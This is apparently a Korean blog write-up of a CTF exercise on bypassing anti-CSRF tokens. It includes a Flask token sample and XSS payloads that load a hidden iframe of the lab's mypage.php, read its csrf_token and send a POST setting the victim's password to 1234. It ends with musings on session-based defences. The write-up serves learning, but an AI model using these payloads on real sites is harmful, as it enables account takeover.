※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
CSRF 토큰에 대해 알아야 하니 CSRF 토큰 생성 소스코드를 GPT한테 물어보고 살펴보면 된다.
from flask import Flask, request, session, render_template_string, redirect, url_for
import os
import uuid
app = Flask(__name__)
app.secret_key = os.urandom(24)
def generate_csrf_token():
token = str(uuid.uuid4())
session['csrf_token'] = token
return token
@app.route('/form')
def form():
csrf_token = generate_csrf_token()
form_html = '''
<form method="post" action="/submit">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<div>
<label for="data">Data:</label>
<input type="text" id="data" name="data">
</div>
<input type="submit" value="Submit">
</form>
'''
return render_template_string(form_html, csrf_token=csrf_token)
@app.route('/submit', methods=['POST'])
def submit():
submitted_token = request.form.get('csrf_token')
if submitted_token != session.get('csrf_token'):
return "CSRF token mismatch", 400
data = request.form.get('data')
return f"Form submitted with data: {data}"
if __name__ == '__main__':
app.run(debug=True)
|
코드를 해석해 보면 그냥 '토큰을 발행해서 같이 보낸다' 뿐이다.
burp suite에서 열어보니 직관적으로 보인다.
iframe으로 해당 페이지를 열고 토큰을 탈취한 다음
토큰을 넣어서 POST로 비밀번호 변경 요청을 보내는 스크립트를 넣어놓으면 될 것 같다.
CTF - GET Admin 2번 문제와 Steal info 문제의 요소를 결합하여 생각해 보면 해결 가능 한 것 같다.
</iframe>
<script>
addEventListener('DOMContentLoaded', function(){
var stolen_token = attack.contentDocument.getElementsByName('csrf_token')[0].value;
alert(stolen_token);
})
</script>
|
처음에 이렇게 작성했는데, alert가 나올 때도 있고 안 나올 때도 있었다.
로딩속도 때문인 것 같다. addEvenetListner를 iframe에 맞춰야 한다.
<iframe id='attack' src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" style="display:none;"></iframe>
<script>
document.getElementById('attack').addEventListener('load', function() {
var iframe = document.getElementById('attack');
var stolen_token = iframe.contentDocument.getElementsByName('csrf_token')[0].value;
alert(stolen_token);
});
</script>
|
이렇게 변경하고 token이 잘 alert 되는 것을 확인했다.
자 이제, CTF - GET Admin 2번 문제와 합치면 된다.
비동기 방식으로 POST요청을 보내되, csrf_token 파라미터에 훔친 토큰 값을 넣어주자.
<iframe id="attack" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" style="display:none;"></iframe>
<script>
document.getElementById('attack').addEventListener('load', function() {
var iframe = document.getElementById('attack');
var stolen_token = iframe.contentDocument.getElementsByName('csrf_token')[0].value;
// 비밀번호 변경 요청
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: `id=&info=&pw=1234&csrf_token=${stolen_token}`
})
});
</script>
|
XSS, CSRF 취약점과 더불어 iframe태그 사용까지 자유롭게 된다면, 안티 CSRF TOKEN이 힘을 쓰지 못한다.
그렇다면 이 것을 해결할 방법은 뭐가 있을까?
현재까지 배운 상태에서, 나라면 session ID(또는 JWT token)을 같이 보내겠다.
왜냐하면 session ID나, JWT토큰은 쿠키 방어 옵션(secure, httpOnly)에서 탈취당하기 어렵기 때문이다.
이 것도 깊이 알아볼수록.. httpOnly가 걸려 있다고 하더라도, 또다시 정교한 CSRF에 의해 탈취될 수 있는데,
session ID나 JWT 토큰이 탈취할 수 있다면 굳이 비밀번호 요청을 보낼까?
하지만 네이버의 경우 로그인 중에도 접속 ip가 바뀌면 다시 로그인하게 되어있다.
만약 공격자가 session ID나 JWT토큰을 정교한 CSRF로 탈취한다고 하더라도 네이버에는 로그인하지 못하는 것이다.
또한 이 경우 비밀번호 없이 로그인한 것이라서 개인정보에 접근할 수없을 것이다.
(회원 정보 접근 시 비밀번호를 한번 더 입력 요구하니까)
그런 면에서 session ID나 JWT토큰을 요구하는 것도 충분히 유효한 방법이라고 생각할 수 있을 것 같다.
그런데 왜 불편하게 안티 CSRF TOKEN을 따로 만들어서 쓰는 것일까?
그것은 다음에 알아보기로..
Segfault CTF - (14주 차) Web Shell 2 (0) | 2024.07.21 |
---|---|
Segfault CTF - (14주 차) Web Shell 1 (0) | 2024.07.21 |
Segfault CTF - (12주 차) GET Admin 2 (0) | 2024.07.08 |
Segfault CTF - (12주 차) GET Admin 1 (0) | 2024.07.07 |
Segfault CTF - (11주 차) Steal Info 2 (1) | 2024.06.29 |